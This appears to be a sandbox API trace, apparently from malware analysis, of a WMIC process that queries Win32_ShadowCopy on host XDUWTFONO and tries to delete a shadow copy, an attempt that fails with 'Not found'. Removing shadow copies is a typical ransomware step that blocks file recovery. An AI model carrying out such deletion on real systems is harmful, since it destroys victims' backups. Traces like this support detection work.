	[0210.429] free (_Block=0x2496a0) 
	[0210.429] IWbemServices:GetObject (in: This=0x1ea3b28, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x18f348*=0x0, ppCallResult=0x0 | out: ppObject=0x18f348*=0x1eb0a50, ppCallResult=0x0) returned 0x0
	[0210.649] malloc (_Size=0x18) returned 0x2496a0
	[0210.649] IWbemClassObject:Get (in: This=0x1eb0a50, wszName="Text", lFlags=0, pVal=0x18f380*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff852ac0, varVal2=0x18), pType=0x0, plFlavor=0x0 | out: pVal=0x18f380*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x306360*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x28de00, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x18), pType=0x0, plFlavor=0x0) returned 0x0
	[0210.649] free (_Block=0x2496a0) 
	[0210.649] SafeArrayGetLBound (in: psa=0x306360, nDim=0x1, plLbound=0x18f360 | out: plLbound=0x18f360) returned 0x0
	[0210.649] SafeArrayGetUBound (in: psa=0x306360, nDim=0x1, plUbound=0x18f350 | out: plUbound=0x18f350) returned 0x0
	[0210.650] SafeArrayGetElement (in: psa=0x306360, rgIndices=0x18f344, pv=0x18f398 | out: pv=0x18f398) returned 0x0
	[0210.650] malloc (_Size=0x18) returned 0x2496a0
	[0210.650] malloc (_Size=0x18) returned 0x249700
	[0210.650] SysStringLen (param_1="Shadow copy management.") returned 0x17
	[0210.650] free (_Block=0x2496a0) 
	[0210.650] IUnknown:Release (This=0x1eb0a50) returned 0x0
	[0210.650] free (_Block=0x2497a0) 
	[0210.651] ??1CHString@@QEAA@XZ () returned 0x11f28501
	[0210.651] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0210.651] free (_Block=0x249680) 
	[0210.651] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0210.651] lstrlenW (lpString="Shadow copy management.") returned 23
	[0210.651] malloc (_Size=0x30) returned 0x2485c0
	[0210.651] lstrlenW (lpString="Shadow copy management.") returned 23
	[0210.651] free (_Block=0x249700) 
	[0210.651] IUnknown:Release (This=0x1eb04e0) returned 0x0
	[0210.652] free (_Block=0x2496c0) 
	[0210.652] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0210.652] lstrlenW (lpString="PATH") returned 4
	[0210.652] lstrlenW (lpString="delete") returned 6
	[0210.652] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1
	[0210.652] lstrlenW (lpString="WHERE") returned 5
	[0210.652] lstrlenW (lpString="delete") returned 6
	[0210.652] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1
	[0210.652] lstrlenW (lpString="(") returned 1
	[0210.652] lstrlenW (lpString="delete") returned 6
	[0210.652] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3
	[0210.653] lstrlenW (lpString="/") returned 1
	[0210.653] lstrlenW (lpString="delete") returned 6
	[0210.653] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3
	[0210.653] lstrlenW (lpString="-") returned 1
	[0210.653] lstrlenW (lpString="delete") returned 6
	[0210.653] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3
	[0210.653] malloc (_Size=0x18) returned 0x2496c0
	[0210.654] lstrlenW (lpString="GET") returned 3
	[0210.654] lstrlenW (lpString="delete") returned 6
	[0210.654] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0210.654] lstrlenW (lpString="LIST") returned 4
	[0210.654] lstrlenW (lpString="delete") returned 6
	[0210.654] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0210.654] lstrlenW (lpString="SET") returned 3
	[0210.654] lstrlenW (lpString="delete") returned 6
	[0210.654] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0210.654] lstrlenW (lpString="CREATE") returned 6
	[0210.654] lstrlenW (lpString="delete") returned 6
	[0210.654] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0210.654] lstrlenW (lpString="CALL") returned 4
	[0210.655] lstrlenW (lpString="delete") returned 6
	[0210.655] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3
	[0210.655] lstrlenW (lpString="ASSOC") returned 5
	[0210.655] lstrlenW (lpString="delete") returned 6
	[0210.655] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0210.655] lstrlenW (lpString="DELETE") returned 6
	[0210.655] lstrlenW (lpString="delete") returned 6
	[0210.655] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2
	[0210.655] free (_Block=0x2496c0) 
	[0210.655] lstrlenW (lpString="/") returned 1
	[0210.655] lstrlenW (lpString="delete") returned 6
	[0210.656] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3
	[0210.656] lstrlenW (lpString="-") returned 1
	[0210.656] lstrlenW (lpString="delete") returned 6
	[0210.656] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3
	[0210.656] lstrlenW (lpString="delete") returned 6
	[0210.656] malloc (_Size=0xe) returned 0x2496c0
	[0210.656] lstrlenW (lpString="delete") returned 6
	[0210.656] lstrlenW (lpString="GET") returned 3
	[0210.656] lstrlenW (lpString="delete") returned 6
	[0210.656] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0210.656] lstrlenW (lpString="LIST") returned 4
	[0210.656] lstrlenW (lpString="delete") returned 6
	[0210.656] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0210.657] lstrlenW (lpString="SET") returned 3
	[0210.657] lstrlenW (lpString="delete") returned 6
	[0210.657] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0210.657] lstrlenW (lpString="CREATE") returned 6
	[0210.657] lstrlenW (lpString="delete") returned 6
	[0210.657] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0210.657] lstrlenW (lpString="CALL") returned 4
	[0210.657] lstrlenW (lpString="delete") returned 6
	[0210.657] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3
	[0210.657] lstrlenW (lpString="ASSOC") returned 5
	[0210.657] lstrlenW (lpString="delete") returned 6
	[0210.657] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0210.657] lstrlenW (lpString="DELETE") returned 6
	[0210.657] lstrlenW (lpString="delete") returned 6
	[0210.658] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2
	[0210.658] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0210.658] malloc (_Size=0x3e) returned 0x24cb10
	[0210.658] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0210.658] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff60 | out: _String="Select", _Context=0xffffffffffffff60) returned="Select"
	[0210.658] malloc (_Size=0x18) returned 0x249700
	[0210.658] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="*"
	[0210.658] lstrlenW (lpString="FROM") returned 4
	[0210.658] lstrlenW (lpString="*") returned 1
	[0210.658] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1
	[0210.659] malloc (_Size=0x18) returned 0x249680
	[0210.659] free (_Block=0x249700) 
	[0210.659] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x53009a007c0006 | out: _String=0x0, _Context=0x53009a007c0006) returned="from"
	[0210.659] lstrlenW (lpString="FROM") returned 4
	[0210.659] lstrlenW (lpString="from") returned 4
	[0210.659] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2
	[0210.659] malloc (_Size=0x18) returned 0x249700
	[0210.659] free (_Block=0x249680) 
	[0210.659] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x53009b007c0006 | out: _String=0x0, _Context=0x53009b007c0006) returned="Win32_ShadowCopy"
	[0210.660] malloc (_Size=0x18) returned 0x249680
	[0210.660] free (_Block=0x249700) 
	[0210.660] free (_Block=0x24cb10) 
	[0210.660] free (_Block=0x249680) 
	[0210.660] lstrlenW (lpString="SET") returned 3
	[0210.660] lstrlenW (lpString="delete") returned 6
	[0210.660] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0210.660] lstrlenW (lpString="CREATE") returned 6
	[0210.660] lstrlenW (lpString="delete") returned 6
	[0210.660] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0210.660] free (_Block=0x2495c0) 
	[0210.661] malloc (_Size=0x8) returned 0x24cb10
	[0210.661] lstrlenW (lpString="GET") returned 3
	[0210.661] lstrlenW (lpString="delete") returned 6
	[0210.661] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0210.661] lstrlenW (lpString="LIST") returned 4
	[0210.661] lstrlenW (lpString="delete") returned 6
	[0210.661] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0210.661] lstrlenW (lpString="ASSOC") returned 5
	[0210.661] lstrlenW (lpString="delete") returned 6
	[0210.661] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0210.661] WbemLocator:IUnknown:AddRef (This=0x1e91390) returned 0x3
	[0210.661] free (_Block=0x36dfb0) 
	[0210.661] lstrlenW (lpString="") returned 0
	[0210.661] lstrlenW (lpString="XDUWTFONO") returned 9
	[0210.662] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3
	[0210.662] lstrlenW (lpString="XDUWTFONO") returned 9
	[0210.662] malloc (_Size=0x14) returned 0x2495c0
	[0210.662] lstrlenW (lpString="XDUWTFONO") returned 9
	[0210.662] GetCurrentThreadId () returned 0x1dcc
	[0210.662] GetCurrentProcess () returned 0xffffffffffffffff
	[0210.662] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x18f720 | out: TokenHandle=0x18f720*=0x280) returned 1
	[0210.662] GetTokenInformation (in: TokenHandle=0x280, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18f718 | out: TokenInformation=0x0, ReturnLength=0x18f718) returned 0
	[0210.662] malloc (_Size=0x118) returned 0x24cb30
	[0210.662] GetTokenInformation (in: TokenHandle=0x280, TokenInformationClass=0x3, TokenInformation=0x24cb30, TokenInformationLength=0x118, ReturnLength=0x18f718 | out: TokenInformation=0x24cb30, ReturnLength=0x18f718) returned 1
	[0210.662] AdjustTokenPrivileges (in: TokenHandle=0x280, DisableAllPrivileges=0, NewState=0x24cb30*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=720537139, Attributes=0x1fce), (Luid.LowPart=0x0, Luid.HighPart=3596208, Attributes=0x0), (Luid.LowPart=0x22, Luid.HighPart=889193270, Attributes=0x1fd9), (Luid.LowPart=0x0, Luid.HighPart=2359640, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0210.663] free (_Block=0x24cb30) 
	[0210.663] CloseHandle (hObject=0x280) returned 1
	[0210.663] lstrlenW (lpString="GET") returned 3
	[0210.663] lstrlenW (lpString="delete") returned 6
	[0210.663] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0210.663] lstrlenW (lpString="LIST") returned 4
	[0210.663] lstrlenW (lpString="delete") returned 6
	[0210.663] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0210.663] lstrlenW (lpString="SET") returned 3
	[0210.663] lstrlenW (lpString="delete") returned 6
	[0210.663] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0210.664] lstrlenW (lpString="CALL") returned 4
	[0210.664] lstrlenW (lpString="delete") returned 6
	[0210.664] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3
	[0210.664] lstrlenW (lpString="ASSOC") returned 5
	[0210.664] lstrlenW (lpString="delete") returned 6
	[0210.664] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0210.664] lstrlenW (lpString="CREATE") returned 6
	[0210.664] lstrlenW (lpString="delete") returned 6
	[0210.664] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0210.664] lstrlenW (lpString="DELETE") returned 6
	[0210.664] lstrlenW (lpString="delete") returned 6
	[0210.664] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2
	[0210.665] malloc (_Size=0x18) returned 0x249680
	[0210.665] lstrlenA (lpString="") returned 0
	[0210.665] malloc (_Size=0x2) returned 0x36dfb0
	[0210.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff7e314c, cbMultiByte=-1, lpWideCharStr=0x36dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1
	[0210.665] free (_Block=0x36dfb0) 
	[0210.665] malloc (_Size=0x18) returned 0x249700
	[0210.665] lstrlenA (lpString="") returned 0
	[0210.665] malloc (_Size=0x2) returned 0x36dfb0
	[0210.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff7e314c, cbMultiByte=-1, lpWideCharStr=0x36dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1
	[0210.666] free (_Block=0x36dfb0) 
	[0210.666] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0210.666] malloc (_Size=0x3e) returned 0x24cb30
	[0210.666] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0210.666] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff40 | out: _String="Select", _Context=0xffffffffffffff40) returned="Select"
	[0210.666] malloc (_Size=0x18) returned 0x2497a0
	[0210.666] free (_Block=0x249700) 
	[0210.666] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x53009f006c0005 | out: _String=0x0, _Context=0x53009f006c0005) returned="*"
	[0210.666] lstrlenW (lpString="FROM") returned 4
	[0210.666] lstrlenW (lpString="*") returned 1
	[0210.666] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1
	[0210.667] malloc (_Size=0x18) returned 0x249700
	[0210.667] free (_Block=0x2497a0) 
	[0210.667] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x5300a0006c0005 | out: _String=0x0, _Context=0x5300a0006c0005) returned="from"
	[0210.667] lstrlenW (lpString="FROM") returned 4
	[0210.667] lstrlenW (lpString="from") returned 4
	[0210.669] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2
	[0210.669] malloc (_Size=0x18) returned 0x2497a0
	[0210.669] free (_Block=0x249700) 
	[0210.669] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x5300a1006c0005 | out: _String=0x0, _Context=0x5300a1006c0005) returned="Win32_ShadowCopy"
	[0210.669] malloc (_Size=0x18) returned 0x249700
	[0210.669] free (_Block=0x2497a0) 
	[0210.669] free (_Block=0x24cb30) 
	[0210.669] malloc (_Size=0x18) returned 0x2497a0
	[0210.669] malloc (_Size=0x18) returned 0x2496a0
	[0210.669] SysStringLen (param_1="SELECT * FROM ") returned 0xe
	[0210.669] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10
	[0210.670] free (_Block=0x249680) 
	[0210.670] free (_Block=0x2497a0) 
	[0210.670] ??0CHString@@QEAA@XZ () returned 0x18f690
	[0210.670] GetCurrentThreadId () returned 0x1dcc
	[0210.670] malloc (_Size=0x18) returned 0x2497a0
	[0210.670] malloc (_Size=0x18) returned 0x249680
	[0210.670] malloc (_Size=0x18) returned 0x249720
	[0210.671] malloc (_Size=0x18) returned 0x249740
	[0210.671] malloc (_Size=0x18) returned 0x249760
	[0210.671] SysStringLen (param_1="\\\\") returned 0x2
	[0210.671] SysStringLen (param_1="XDUWTFONO") returned 0x9
	[0210.671] malloc (_Size=0x18) returned 0x249780
	[0210.671] SysStringLen (param_1="\\\\XDUWTFONO") returned 0xb
	[0210.671] SysStringLen (param_1="\\") returned 0x1
	[0210.672] malloc (_Size=0x18) returned 0x24cb60
	[0210.672] SysStringLen (param_1="\\\\XDUWTFONO\\") returned 0xc
	[0210.672] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa
	[0210.672] free (_Block=0x249780) 
	[0210.672] free (_Block=0x249760) 
	[0210.672] free (_Block=0x249740) 
	[0210.673] free (_Block=0x249720) 
	[0210.673] free (_Block=0x249680) 
	[0210.673] free (_Block=0x2497a0) 
	[0210.673] malloc (_Size=0x18) returned 0x2497a0
	[0210.673] malloc (_Size=0x18) returned 0x249680
	[0210.673] malloc (_Size=0x18) returned 0x249720
	[0210.673] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1e91390, strNetworkResource="\\\\XDUWTFONO\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff8529d0 | out: ppNamespace=0xff8529d0*=0x1ea3c18) returned 0x0
	[0210.768] free (_Block=0x249720) 
	[0210.768] free (_Block=0x249680) 
	[0210.769] free (_Block=0x2497a0) 
	[0210.769] CoSetProxyBlanket (pProxy=0x1ea3c18, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0
	[0210.769] free (_Block=0x24cb60) 
	[0210.769] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0210.769] ??0CHString@@QEAA@XZ () returned 0x18f5e0
	[0210.769] GetCurrentThreadId () returned 0x1dcc
	[0210.770] malloc (_Size=0x18) returned 0x2497a0
	[0210.770] lstrlenA (lpString="") returned 0
	[0210.770] malloc (_Size=0x2) returned 0x36dfb0
	[0210.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff7e314c, cbMultiByte=-1, lpWideCharStr=0x36dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1
	[0210.770] free (_Block=0x36dfb0) 
	[0210.770] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e
	[0210.770] SysStringLen (param_1="") returned 0x0
	[0210.770] free (_Block=0x2497a0) 
	[0210.770] malloc (_Size=0x18) returned 0x2497a0
	[0210.770] IWbemServices:ExecQuery (in: This=0x1ea3c18, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x18f5e8 | out: ppEnum=0x18f5e8*=0x1ea3d18) returned 0x0
	[0222.719] free (_Block=0x2497a0) 
	[0222.720] CoSetProxyBlanket (pProxy=0x1ea3d18, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0
	[0232.740] IEnumWbemClassObject:Next (in: This=0x1ea3d18, lTimeout=-1, uCount=0x1, apObjects=0x18f5f0, puReturned=0x18f600 | out: apObjects=0x18f5f0*=0x1ea3d80, puReturned=0x18f600*=0x1) returned 0x0
	[0232.747] malloc (_Size=0x18) returned 0x2497a0
	[0232.747] IWbemClassObject:Get (in: This=0x1ea3d80, wszName="__PATH", lFlags=0, pVal=0x18f610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x18f610*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{4FE73A95-BB7F-48F7-BF4C-A89DCEB97CC9}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0232.748] free (_Block=0x2497a0) 
	[0232.748] malloc (_Size=0x800) returned 0x24d330
	[0232.748] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x24d330, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16
	[0232.749] FormatMessageW (in: dwFlags=0x2500, lpSource=0x24d330, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x18f538, nSize=0x0, Arguments=0x18f548 | out: lpBuffer="쉠.") returned 0x67
	[0232.750] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{4FE73A95-BB7F-48F7-BF4C-A89DCEB97CC9}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104
	[0232.750] malloc (_Size=0x68) returned 0x24db40
	[0232.750] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{4FE73A95-BB7F-48F7-BF4C-A89DCEB97CC9}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x24db40, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{4FE73A95-BB7F-48F7-BF4C-A89DCEB97CC9}\"\r\n", lpUsedDefaultChar=0x0) returned 104
	[0232.751] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xff852ab0
	[0232.752] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103
	[0232.773] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0
	[0232.773] free (_Block=0x24db40) 
	[0232.773] free (_Block=0x24d330) 
	[0232.773] LocalFree (hMem=0x2ec260) returned 0x0
	[0232.773] IWbemServices:DeleteInstance (in: This=0x1ea3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{4FE73A95-BB7F-48F7-BF4C-A89DCEB97CC9}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x80041002
	[0247.661] _CxxThrowException () 
	[0247.664] IUnknown:Release (This=0x1ea3d18) returned 0x0
	[0247.679] IUnknown:Release (This=0x1ea3d80) returned 0x0
	[0247.679] malloc (_Size=0x20) returned 0x24d330
	[0247.680] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0247.680] free (_Block=0x249700) 
	[0247.680] free (_Block=0x2496a0) 
	[0247.680] GetCurrentThreadId () returned 0x1dcc
	[0247.680] ??0CHString@@QEAA@PEBG@Z () returned 0x18f7c8
	[0247.725] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x18f7c8
	[0247.726] ??0CHString@@QEAA@XZ () returned 0x18f560
	[0247.726] malloc (_Size=0x18) returned 0x2496a0
	[0247.727] malloc (_Size=0x18) returned 0x249700
	[0247.727] SysStringLen (param_1="") returned 0x0
	[0247.727] free (_Block=0x2496a0) 
	[0247.727] CoCreateInstance (in: rclsid=0xff7e73c0*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff7e7390*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0xff8529f8 | out: ppv=0xff8529f8*=0x1e91450) returned 0x0
	[0248.120] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x1e91450, hRes=0x80041002, LocaleId=0x0, lFlags=0, MessageText=0x18f558 | out: MessageText=0x18f558*="Not found\r\n") returned 0x0
	[0248.123] free (_Block=0x249700) 
	[0248.123] malloc (_Size=0x18) returned 0x249700
	[0248.124] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x1e91450, hRes=0x80041002, LocaleId=0x0, lFlags=0, MessageText=0x18f550 | out: MessageText=0x18f550*="WMI") returned 0x0
	[0248.125] malloc (_Size=0x18) returned 0x2496a0
	[0248.125] lstrlenW (lpString="WMI") returned 3
	[0248.125] lstrlenW (lpString="Wbem") returned 4
	[0248.125] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1
	[0248.125] lstrlenW (lpString="WMI") returned 3
	[0248.125] lstrlenW (lpString="WMI") returned 3
	[0248.125] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2
	[0248.126] WbemStatusCodeText:IUnknown:Release (This=0x1e91450) returned 0x0
	[0248.126] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0248.126] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0x18edc0, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18
	[0248.126] FormatMessageW (in: dwFlags=0x2500, lpSource=0x18edc0, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x18ed90, nSize=0x0, Arguments=0x18ed98 | out: lpBuffer="嗠0") returned 0x21
	[0248.126] malloc (_Size=0x18) returned 0x2497a0
	[0248.126] LocalFree (hMem=0x3055e0) returned 0x0
